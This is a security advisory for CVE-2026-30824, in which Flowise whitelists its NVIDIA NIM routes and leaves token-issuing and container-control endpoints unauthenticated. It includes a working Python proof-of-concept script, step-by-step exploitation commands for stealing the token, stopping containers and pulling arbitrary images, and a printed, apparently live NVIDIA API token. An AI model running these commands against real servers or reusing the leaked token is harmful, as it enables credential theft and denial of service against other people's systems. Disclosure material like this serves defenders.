Advisory

GHSA-5f53-522j-j454

Also known as: CVE-2026-30824

Summary

Flowise Missing Authentication on NVIDIA NIM Endpoints

Details

Missing Authentication on NVIDIA NIM Endpoints

Summary

The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.

Vulnerability Details

| Field | Value |
|-------|-------|
| CWE | CWE-306: Missing Authentication for Critical Function |
| Affected File | packages/server/src/utils/constants.ts |
| Affected Line | Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS) |
| CVSS 3.1 | 8.6 (High) |

Root Cause

In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:

export const WHITELIST_URLS = [
    // ... other URLs
    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation
    // ...
]

This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.

Affected Endpoints

| Method | Endpoint | Risk |
|--------|----------|------|
| GET | /api/v1/nvidia-nim/get-token | Leaks valid NVIDIA API token |
| GET | /api/v1/nvidia-nim/preload | Resource consumption |
| GET | /api/v1/nvidia-nim/download-installer | Resource consumption |
| GET | /api/v1/nvidia-nim/list-running-containers | Information disclosure |
| POST | /api/v1/nvidia-nim/pull-image | Arbitrary image pull |
| POST | /api/v1/nvidia-nim/start-container | Arbitrary container start |
| POST | /api/v1/nvidia-nim/stop-container | Denial of Service |
| POST | /api/v1/nvidia-nim/get-image | Information disclosure |
| POST | /api/v1/nvidia-nim/get-container | Information disclosure |

Impact

1. NVIDIA API Token Leakage

The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.

Token obtained:

{
  "access_token": "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",
  "token_type": "Bearer",
  "expires_in": 3600
}

Token validation:

curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models

2. Container Runtime Manipulation

On systems with Docker/NIM installed, an unauthenticated attacker can:

  • List running containers (reconnaissance)
  • Stop containers (Denial of Service)
  • Start containers with arbitrary images
  • Pull arbitrary Docker images (resource consumption, potential malicious images)

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated

Usage:
  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""

import argparse
import urllib.request
import urllib.error

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--path", required=True, help="NIM endpoint path")
    ap.add_argument("--method", default="GET", choices=["GET", "POST"])
    ap.add_argument("--data", default="", help="Raw request body for POST")
    args = ap.parse_args()

    url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
    body = args.data.encode("utf-8") if args.method == "POST" else None
    req = urllib.request.Request(
        url,
        data=body,
        method=args.method,
        headers={"Content-Type": "application/json"} if body else {},
    )

    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            print(r.read().decode("utf-8", errors="replace"))
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))

if __name__ == "__main__":
    main()

<img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989" />

Exploitation Steps

# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token

# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers

# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
  --method POST --data '{"containerId":"<target_id>"}'

# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
  --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'

Evidence

Token retrieval without authentication:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}

Token grants access to NVIDIA API:

$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}

Container endpoints return 500 (not 401) proving auth bypass:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}

References

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-06 22:21 UTC
Modified
2026-03-09 13:32 UTC

Affected packages and fixes

flowise

npm · All systems

Affected

  • introduced 0, fixed 3.0.13 (semver)

Fixed versions

3.0.13

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences